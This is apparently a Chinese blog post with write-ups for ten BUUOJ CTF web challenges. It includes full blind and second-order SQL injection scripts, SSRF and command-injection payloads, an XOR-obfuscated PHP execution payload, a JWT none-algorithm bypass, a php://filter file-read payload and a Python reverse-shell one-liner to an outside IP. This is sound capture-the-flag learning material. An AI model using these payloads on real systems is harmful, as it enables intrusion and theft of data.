BUUOJ-Web题目-10

[RCTF2015]EasySQL

[HITCON 2017]SSRFme

[SUCTF 2019]EasyWeb

[HFCTF2020]EasyLogin

[V&N2020 公开赛]CHECKIN

[GYCTF2020]Ezsqli

[BJDCTF 2nd]文件探测

[GKCTF2020]EZ三剑客-EzNode

[RoarCTF 2019]Online Proxy

[HarekazeCTF2019]encode_and_encode

[RCTF2015]EasySQL

二次注入

在用户名处写入,然后在修改密码的地方存在二次注入

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import requests

html = 'http://c7bc9bfa-7a64-4ba5-8e35-7b4d4bc69f91.node3.buuoj.cn'

def register(sess,name):
nhtml = html + '/register.php'
data = {
'username': name,
'password': '1',
'email': '1'
}
sess.post(nhtml,data=data)

def login(sess,name):
nhtml = html + '/login.php'
data = {
'username': name,
'password': '1'
}
sess.post(nhtml,data=data)

def change(sess,name):
nhtml = html + '/changepwd.php'
data = {
'oldpass': '1',
'newpass': '1'
}
txt = sess.post(nhtml,data=data).text
return txt

def payload(pay):
sess = requests.session()
register(sess,pay)
login(sess,pay)
print(change(sess,pay))

第一步:数据库名

1
payload('as"^extractvalue(1,concat(0x7e,(select(database()))))#')

image.png

第二步:表名

1
payload('as"^extractvalue(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=\'web_sqli\'))))#')

image.png

第三步:列名

1
payload('as"^extractvalue(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name=\'flag\'))))#')

image.png

第四步:字段

1
payload('as"^extractvalue(1,concat(0x7e,(select(flag)from(flag))))#')

image.png

flag,找真的去

第五步:列名

1
payload('as"^extractvalue(1,concat((select(group_concat(column_name))from(information_schema.columns)where(table_name=\'users\'))))#')

image.png

第六步:字段(前)

!=绕过xxx

1
payload('as"^extractvalue(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here!=\'xxx\'))))#')

image.png

第七步:字段(后)

reverse函数反向获取右半边的内容

1
payload('as"^extractvalue(1,concat(0x7e,(select(reverse(group_concat(real_flag_1s_here)))from(users)where(real_flag_1s_here!=\'xxx\'))))#')

image.png

拼接得到flag

[HITCON 2017]SSRFme

给了源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<?php
if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
$http_x_headers = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
$_SERVER['REMOTE_ADDR'] = $http_x_headers[0];
}

echo $_SERVER["REMOTE_ADDR"];

$sandbox = "sandbox/" . md5("orange" . $_SERVER["REMOTE_ADDR"]);
@mkdir($sandbox);
@chdir($sandbox);

$data = shell_exec("GET " . escapeshellarg($_GET["url"]));
$info = pathinfo($_GET["filename"]);
$dir = str_replace(".", "", basename($info["dirname"]));
@mkdir($dir);
@chdir($dir);
@file_put_contents(basename($info["basename"]), $data);
highlight_file(__FILE__);
?>

感觉就是想办法写shell。使用了shell_exec这个函数,感觉平时命令用的不多;拼接了一个GET,更为奇妙了。找WP找到了这篇文章。应该是两种方法都可以做。

考虑到BUUOJ靶机无法访问外网,所以我们只能用open的漏洞来操作。

Payload:

1
?url=file:bash -c /readflag|&filename=bash -c /readflag|

然后写入:

1
?url=file:bash -c /readflag|&filename=123

访问sandbox得到答案

image.png

Perl不熟,以后再理解吧

[SUCTF 2019]EasyWeb

过滤了我能想到的几乎全部东西,只能找WP去

找到了这篇文章,原来是不可见字符的异或;

得到一种payload,后面遇到类似的可以自己写个脚本跑跑

1
?_=${%ff%ff%ff%ff^%a0%b8%ba%ab}{%ff}();&%ff=phpinfo

大致是异或出来了_GET,然后执行了下命令。

然后搜索得到flag

image.png

不是很明白为啥WP后面还有那么多内容……可能是原题有一些别的限制?

仔细看了下大家都没有在phpinfo里面搜索一下flag,都去执行get_the_flag然后文件上传去了……不过学习一下也不坏,大致看了一下,基本算是学会了

[HFCTF2020]EasyLogin

注册一个账户后登录,在新的框里面随便输点东西就没权限了,看起来是要拿到管理员权限

查看Cookie,发现sses:aokbase64JSON编码的用户名,后面sses:aok.sig则猜测是签名(防止篡改Cookie)。感觉应该不是注入题,想想办法绕过。

注册的返回有个token,应该是JWT

image.png

上网解密,发现有密码,然后不会了,去找WP

然后知道了如果算法设置为空在某些情况也是没问题的,所以操作一下,重新POST

image.png

修改Cookie,得到flag

image.png

[V&N2020 公开赛]CHECKIN

开局源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
# return flag
## want flag? naive!

# You will never find the thing you want:) I think
@app.route('/shell')
def shell():
os.system("rm -f flag.txt")
exec_cmd = request.args.get('c')
os.system(exec_cmd)
return "1"

@app.route('/')
def source():
return open("app.py","r").read()

if __name__ == "__main__":
app.run(host='0.0.0.0')

感觉以前做过类似的题,当时是读个描述符就完事

现在看看能不能复刻出来,尝试用RequestBin带出来,但是没外网

只能开小号操作了。。。

奇特的地方在于只能用python反弹shell,用不了别的,但是又有bash,所以挺奇怪

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("174.1.202.146",12500));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'

image.png

通过cmdline找到合适的文件描述符打开,就可以拿到flag

[GYCTF2020]Ezsqli

image.png

底部存在查询接口,直觉告诉我是异或+布尔盲注。试一下看看行不行

掏出传统脚本一通操作,果然没问题

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
import sys
import requests
import string
import time

config_html = 'http://3a4da166-5838-4b1d-8916-17fec59a5fb1.node3.buuoj.cn/index.php'

config_method = 'POST'

config_key = 'id'

config_data = {
'id' : 'if({0},1,0)'
}

config_length = 'char_length({0}){1}'

config_line = 'ascii(substr({0},{1},1)){2}'

config_success_flag = 'Nu1L'

config_failed_flag = 'Error Occured When Fetch Result.'

config_retry_time = 0.1

config_headers = {
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'DNT':'1',
'Connection':'close'
}

config_data_range = string.digits + string.ascii_letters + '{}_,-'

config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

print(config_data_range)

def get(url,data):
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
while r.status_code != 200:
print('[-] Retry to connect...')
time.sleep(config_retry_time)
if config_method == 'GET':
r = requests.get(url = url,params = data,headers = config_headers,timeout = 3)
else:
r = requests.post(url = url,data = data,headers = config_headers,timeout = 3)
r.encoding = 'UTF-8'
#print(r.text)
if config_success_flag in r.text:
return True
elif config_failed_flag in r.text:
return False
else:
print('Error: method error!')
return False

def cfg_data(par):
data = config_data.copy()
data[config_key] = data[config_key].format(par)
return data

def concat_line_length(cmd,i):
return config_length.format(cmd,'>' + str(i))

def concat_line_value(cmd,i,nowlen):
return config_line.format(cmd,nowlen+1,'>' + str(ord(i)))

def get_length_line(cmd):
for i in range(0,255):
time.sleep(config_retry_time)
#print(cfg_data(concat_line_length(cmd,i)))
if get(url = config_html,data = cfg_data(concat_line_length(cmd,i))):
print('[-] {0} NOT length: {1}'.format(cmd,i))
continue
else:
print('[+] {0} length: {1}'.format(cmd,i))
return i
print('[-] Search Length Failed...')
return 0

def get_value_line(cmd,length,preline):
ret = list(preline)
for l in range(length - len(preline)):
fg = False
for i in config_data_range:
#print(config_data_range)
#print(i)
time.sleep(config_retry_time)
#print(cfg_data(concat_line_value(cmd,i,l+len(preline))))
if get(url = config_html,data = cfg_data(concat_line_value(cmd,i,l+len(preline)))):
continue
else:
fg = True
ret.append(i)
#print(ret)
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
if fg == False:
ret.append(config_data_range[-1])
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
return ret

数据库名

1
2
3
4
5
6
def database():
cmd = 'database()'
length = get_length_line(cmd)
print(get_value_line(cmd,length,''))

database()

image.png

然后我们发现检测了SQL注入,可能是筛选了一些关键字。手工测试发现屏蔽了for这个关键字,感觉很奇特。所以information_schema用不了了,而且performence_schema也不行。那么只能试试SHOW操作。

这里找到了一种操作方式

1
SHOW tables like '%s%';

可惜用不了,貌似不行

然后考虑MySQL 5.7sys数据库,使用sys.schema_auto_increment_columns操作一波,然而也是被屏蔽了

没办法,查询一波版本,发现是5.7.29

1
2
3
4
5
6
def version():
cmd = "version()"
length = get_length_line(cmd)
print(get_value_line(cmd,length,''))

version()

image.png

查了下也没有现成漏洞,而且这估计就是个注入题,不会了,查WP去。。。

然后知道了一个新表sys.schema_table_statistics_with_buffer,于是用这个表试试

查表名

1
2
3
4
5
6
def table():
cmd = "(SELECT(group_concat(table_name))FROM(sys.schema_table_statistics_with_buffer)WHERE(table_schema=database()))"
length = get_length_line(cmd)
print(get_value_line(cmd,length,''))

table()

image.png

然后是无列名注入,和之前的题目([SWPU2019]Web1)挺像。相同的操作下

然后发现居然屏蔽了 union,不加空格就没问题,加了就屏蔽,不过**/**/**貌似没屏蔽

然后发现如果UNION前面有特定字符就会被屏蔽,不会了。。。继续看WP

然后发现新脚本不行,我的老脚本(无法判断大小写)居然和WP思路一致。。。不过一个样,新脚本改改也应该能跑

修改版脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
config_data_range = 'flag{}-' + string.digits + 'bcde'
config_data_range = "".join((lambda x:(x.sort(),x)[1])(list(config_data_range)))

def get_value_line(cmd,length,preline):
ret = list(preline)
for l in range(length - len(preline)):
fg = False
last = ''
for i in config_data_range:
#print(config_data_range)
#print(i)
time.sleep(config_retry_time)
#print(cfg_data(cmd.format("".join(ret) + i)))
if get(url = config_html,data = cfg_data(cmd.format("".join(ret) + i))):
last = i
#print(last)
continue
else:
fg = True
#print(last)
ret.append(last)
#print(ret)
last = ''
#print(ret)
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
if fg == False:
ret.append(config_data_range[-1])
print('[+] {0} : {1}'.format(cmd,''.join(ret)))
break
return ret

def flag():
cmd = "(SELECT 1,'{0}')<(select * from f1ag_1s_h3r3_hhhhh)"
length = 100
print(get_value_line(cmd,length,''))

flag()

image.png

[BJDCTF 2nd]文件探测

robots.txt,显示admin.php

需要从127.0.0.1进入,但是试了X-Forwarded-ForClient-ip都不行。看来需要别的入手点。

注意到访问时Header存在Hint,提示home.php

image.png

进入,用伪协议读取一下system.php的内容。

system.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
<?php
error_reporting(0);
if (!isset($_COOKIE['y1ng']) || $_COOKIE['y1ng'] !== sha1(md5('y1ng'))){
echo "<script>alert('why you are here!');alert('fxck your scanner');alert('fxck you! get out!');</script>";
header("Refresh:0.1;url=index.php");
die;
}

$str2 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;url invalid<br>~$ ';
$str3 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;damn hacker!<br>~$ ';
$str4 = '&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Error:&nbsp;&nbsp;request method error<br>~$ ';

?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>File Detector</title>

<link rel="stylesheet" type="text/css" href="css/normalize.css" />
<link rel="stylesheet" type="text/css" href="css/demo.css" />

<link rel="stylesheet" type="text/css" href="css/component.css" />

<script src="js/modernizr.custom.js"></script>

</head>
<body>
<section>
<form id="theForm" class="simform" autocomplete="off" action="system.php" method="post">
<div class="simform-inner">
<span><p><center>File Detector</center></p></span>
<ol class="questions">
<li>
<span><label for="q1">你知道目录下都有什么文件吗?</label></span>
<input id="q1" name="q1" type="text"/>
</li>
<li>
<span><label for="q2">请输入你想检测文件内容长度的url</label></span>
<input id="q2" name="q2" type="text"/>
</li>
<li>
<span><label for="q1">你希望以何种方式访问?GETPOST?</label></span>
<input id="q3" name="q3" type="text"/>
</li>
</ol>
<button class="submit" type="submit" value="submit">提交</button>
<div class="controls">
<button class="next"></button>
<div class="progress"></div>
<span class="number">
<span class="number-current"></span>
<span class="number-total"></span>
</span>
<span class="error-message"></span>
</div>
</div>
<span class="final-message"></span>
</form>
<span><p><center><a href="https://gem-love.com" target="_blank">@颖奇L'Amore</a></center></p></span>
</section>

<script type="text/javascript" src="js/classie.js"></script>
<script type="text/javascript" src="js/stepsForm.js"></script>
<script type="text/javascript">
var theForm = document.getElementById( 'theForm' );

new stepsForm( theForm, {
onSubmit : function( form ) {
classie.addClass( theForm.querySelector( '.simform-inner' ), 'hide' );
var messageEl = theForm.querySelector( '.final-message' );
form.submit();
messageEl.innerHTML = 'Ok...Let me have a check';
classie.addClass( messageEl, 'show' );
}
} );
</script>

</body>
</html>
<?php

$filter1 = '/^http:\/\/127\.0\.0\.1\//i';
$filter2 = '/.?f.?l.?a.?g.?/i';


if (isset($_POST['q1']) && isset($_POST['q2']) && isset($_POST['q3']) ) {
$url = $_POST['q2'].".y1ng.txt";
$method = $_POST['q3'];

$str1 = "~$ python fuck.py -u \"".$url ."\" -M $method -U y1ng -P admin123123 --neglect-negative --debug --hint=xiangdemei<br>";

echo $str1;

if (!preg_match($filter1, $url) ){
die($str2);
}
if (preg_match($filter2, $url)) {
die($str3);
}
if (!preg_match('/^GET/i', $method) && !preg_match('/^POST/i', $method)) {
die($str4);
}
$detect = @file_get_contents($url, false);
print(sprintf("$url method&content_size:$method%d", $detect));
}

?>

再读取一下home.php

home.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
<?php

setcookie("y1ng", sha1(md5('y1ng')), time() + 3600);
setcookie('your_ip_address', md5($_SERVER['REMOTE_ADDR']), time()+3600);

if(isset($_GET['file'])){
if (preg_match("/\^|\~|&|\|/", $_GET['file'])) {
die("forbidden");
}

if(preg_match("/.?f.?l.?a.?g.?/i", $_GET['file'])){
die("not now!");
}

if(preg_match("/.?a.?d.?m.?i.?n.?/i", $_GET['file'])){
die("You! are! not! my! admin!");
}

if(preg_match("/^home$/i", $_GET['file'])){
die("禁止套娃");
}

else{
if(preg_match("/home$/i", $_GET['file']) or preg_match("/system$/i", $_GET['file'])){
$file = $_GET['file'].".php";
}
else{
$file = $_GET['file'].".fxxkyou!";
}
echo "现在访问的是 ".$file . "<br>";
require $file;
}
} else {
echo "<script>location.href='./home.php?file=system'</script>";
}
?>

看起来是不能再读取别的东西了,想想system.php怎么操作。

SSRF读取,但是%d不是很会绕过,找WP

然后明白了大致的读取方式,试验一下

image.png

image.png

image.png

admin.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<?php
error_reporting(0);
session_start();
$f1ag = 'f1ag{s1mpl3_SSRF_@nd_spr1ntf}'; //fake

function aesEn($data, $key)
{
$method = 'AES-128-CBC';
$iv = md5($_SERVER['REMOTE_ADDR'],true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

function Check()
{
if (isset($_COOKIE['your_ip_address']) && $_COOKIE['your_ip_address'] === md5($_SERVER['REMOTE_ADDR']) && $_COOKIE['y1ng'] === sha1(md5('y1ng')))
return true;
else
return false;
}

if ( $_SERVER['REMOTE_ADDR'] == "127.0.0.1" ) {
highlight_file(__FILE__);
} else {
echo "<head><title>403 Forbidden</title></head><body bgcolor=black><center><font size='10px' color=white><br>only 127.0.0.1 can access! You know what I mean right?<br>your ip address is " . $_SERVER['REMOTE_ADDR'];
}


$_SESSION['user'] = md5($_SERVER['REMOTE_ADDR']);

if (isset($_GET['decrypt'])) {
$decr = $_GET['decrypt'];
if (Check()){
$data = $_SESSION['secret'];
include 'flag_2sln2ndln2klnlksnf.php';
$cipher = aesEn($data, 'y1ng');
if ($decr === $cipher){
echo WHAT_YOU_WANT;
} else {
die('爬');
}
} else{
header("Refresh:0.1;url=index.php");
}
} else {
//I heard you can break PHP mt_rand seed
mt_srand(rand(0,9999999));
$length = mt_rand(40,80);
$_SESSION['secret'] = bin2hex(random_bytes($length));
}


?>

现在的问题就是**$_SESSION[‘secret’]**是个随机数,这个也没法确定是多少,所以得想办法绕过去。

不过如果没有SESSION,是不是这个值就自动没了呢?查下WP发现行。

image.png

1
2
3
4
5
6
7
function aesEn($data, $key){
$method = 'AES-128-CBC';
$iv = md5('174.0.0.15',true);
return base64_encode(openssl_encrypt($data, $method,$key, OPENSSL_RAW_DATA , $iv));
}

echo aesEn('', 'y1ng')

image.png

URLEncode后得到flag

image.png

[GKCTF2020]EZ三剑客-EzNode

给了源代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
const express = require('express');
const bodyParser = require('body-parser');

const saferEval = require('safer-eval'); // 2019.7/WORKER1 找到一个很棒的库

const fs = require('fs');

const app = express();


app.use(bodyParser.urlencoded({ extended: false }));
app.use(bodyParser.json());

// 2020.1/WORKER2 老板说为了后期方便优化
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {

}
}, 1000);
} else {
next();
}
});

app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
});

// 2019.10/WORKER1 老板娘说她要看到我们的源代码,用行数计算KPI
app.get('/source', function (req, res) {
res.set('Content-Type', 'text/javascript;charset=utf-8');
res.send(fs.readFileSync('./index.js'));
});

// 2019.12/WORKER3 为了方便我自己查看版本,加上这个接口
app.get('/version', function (req, res) {
res.set('Content-Type', 'text/json;charset=utf-8');
res.send(fs.readFileSync('./package.json'));
});

app.get('/', function (req, res) {
res.set('Content-Type', 'text/html;charset=utf-8');
res.send(fs.readFileSync('./index.html'))
})

app.listen(80, '0.0.0.0', () => {
console.log('Start listening')
});

给了版本,看一下

1
2
3
4
5
6
7
8
9
10
11
{
"name": "src",
"version": "1.0.0",
"main": "index.js",
"license": "MIT",
"dependencies": {
"body-parser": "1.19.0",
"express": "4.17.1",
"safer-eval": "1.3.6"
}
}

找到了一个safer-eval漏洞,可惜版本不符合。

然后找到这篇文章,照抄完事……

写一下过程:

delay可以用溢出来绕过。

后面的safer-eval有现成的漏洞PoC,复刻就可以。

image.png

[RoarCTF 2019]Online Proxy

看起来像文件包含,然而实际是个注入。。。

暂时跳过这题,跟前面的注入差不多

还是写了,这把写个二分脚本。。。

二次注入,第一次的X-Forwarded-For被当成Current-Ip,第二次X-Forwarded-For随便写点东西就会把第一次不一样的存入数据库(触发注入语句),第三次X-Forwarded-For和第二次一样就会查询数据库,就能根据得到的0或者1来判断布尔盲注了。

数据库

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
import requests

url = 'http://node3.buuoj.cn:25428/'

def get(sess,xff):
r = sess.get(url,headers = {'X-Forwarded-For':xff})
return r.text

def check(xff):
sess = requests.session()
#print(xff)
get(sess,xff)
xff = 'aaa'
get(sess,xff)
return get(sess,xff)

import string

charset = string.digits + string.ascii_letters + '{},-'

succ = 'Last Ip: 1'

def database():
xff = "0' or {0} or '0"
cmd = '(select group_concat(schema_name) from information_schema.schemata)'
s = 'ascii(substr({0},{1},1))<={2}'
ls = 'char_length({0})={1}'
length = 78
ans = []
'''for i in range(255):
res = check(xff.format(ls.format(cmd,i)))
#print(res)
if succ in res:
print('[+] LEN = {0}'.format(i))
length = i
break
print('[-] NOT LEN = {0}'.format(i))'''
for i in range(1,length+1,1):
l = 32
r = 128
while l <= r:
mid = (l + r) // 2
res = check(xff.format(s.format(cmd,i,mid)))
if succ in res:
r = mid - 1
else:
l = mid + 1
ans.append(chr(l))
print('[+] {0} = {1}'.format(cmd,''.join(ans)))
return ans

database()

表名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import string

succ = 'Last Ip: 1'

def table():
xff = "0' or {0} or '0"
cmd = "(select group_concat(table_name) from information_schema.tables where table_schema='F4l9_D4t4B45e')"
s = 'ascii(substr({0},{1},1))<={2}'
ls = 'char_length({0})={1}'
length = 0
ans = []
for i in range(255):
res = check(xff.format(ls.format(cmd,i)))
#print(res)
if succ in res:
print('[+] LEN = {0}'.format(i))
length = i
break
print('[-] NOT LEN = {0}'.format(i))
for i in range(1,length+1,1):
l = 32
r = 128
while l <= r:
mid = (l + r) // 2
res = check(xff.format(s.format(cmd,i,mid)))
if succ in res:
r = mid - 1
else:
l = mid + 1
ans.append(chr(l))
print('[+] {0} = {1}'.format(cmd,''.join(ans)))
return ans

table()

列名

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def column():
xff = "0' or {0} or '0"
cmd = "(select group_concat(column_name) from information_schema.columns where table_name='F4l9_t4b1e')"
s = 'ascii(substr({0},{1},1))<={2}'
ls = 'char_length({0})={1}'
length = 0
ans = []
for i in range(255):
res = check(xff.format(ls.format(cmd,i)))
#print(res)
if succ in res:
print('[+] LEN = {0}'.format(i))
length = i
break
print('[-] NOT LEN = {0}'.format(i))
for i in range(1,length+1,1):
l = 32
r = 128
while l <= r:
mid = (l + r) // 2
res = check(xff.format(s.format(cmd,i,mid)))
if succ in res:
r = mid - 1
else:
l = mid + 1
ans.append(chr(l))
print('[+] {0} = {1}'.format(cmd,''.join(ans)))
return ans

column()

flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
def flag():
xff = "0' or {0} or '0"
cmd = "(select group_concat(F4l9_C01uMn) from F4l9_D4t4B45e.F4l9_t4b1e)"
s = 'ascii(substr({0},{1},1))<={2}'
ls = 'char_length({0})={1}'
length = 0
ans = []
for i in range(255):
res = check(xff.format(ls.format(cmd,i)))
#print(res)
if succ in res:
print('[+] LEN = {0}'.format(i))
length = i
break
print('[-] NOT LEN = {0}'.format(i))
for i in range(1,length+1,1):
l = 32
r = 128
while l <= r:
mid = (l + r) // 2
res = check(xff.format(s.format(cmd,i,mid)))
if succ in res:
r = mid - 1
else:
l = mid + 1
ans.append(chr(l))
print('[+] {0} = {1}'.format(cmd,''.join(ans)))
return ans

flag()

image.png

[HarekazeCTF2019]encode_and_encode

JSON解析会把\uxxxx这样的Unicode字符正常解析,但是之前的条件判断则不会。(也就是检测合法性在json_decode之前)所以我们可以用\u这种方式绕过。由于对读取内容做了检测,所以伪协议base64

前几天西湖论剑的Web5有着相同的技巧。

Payload

1
{ "page" : "\u0070\u0068\u0070://filter/convert.base64-encode/resource=/\u0066\u006c\u0061\u0067"}

BUUOJ-Web题目-10
http://hexo.init-new-world.com/BUUOJ-Web-ti-mu-10
Author
John Doe
Posted on
October 15, 2020
Licensed under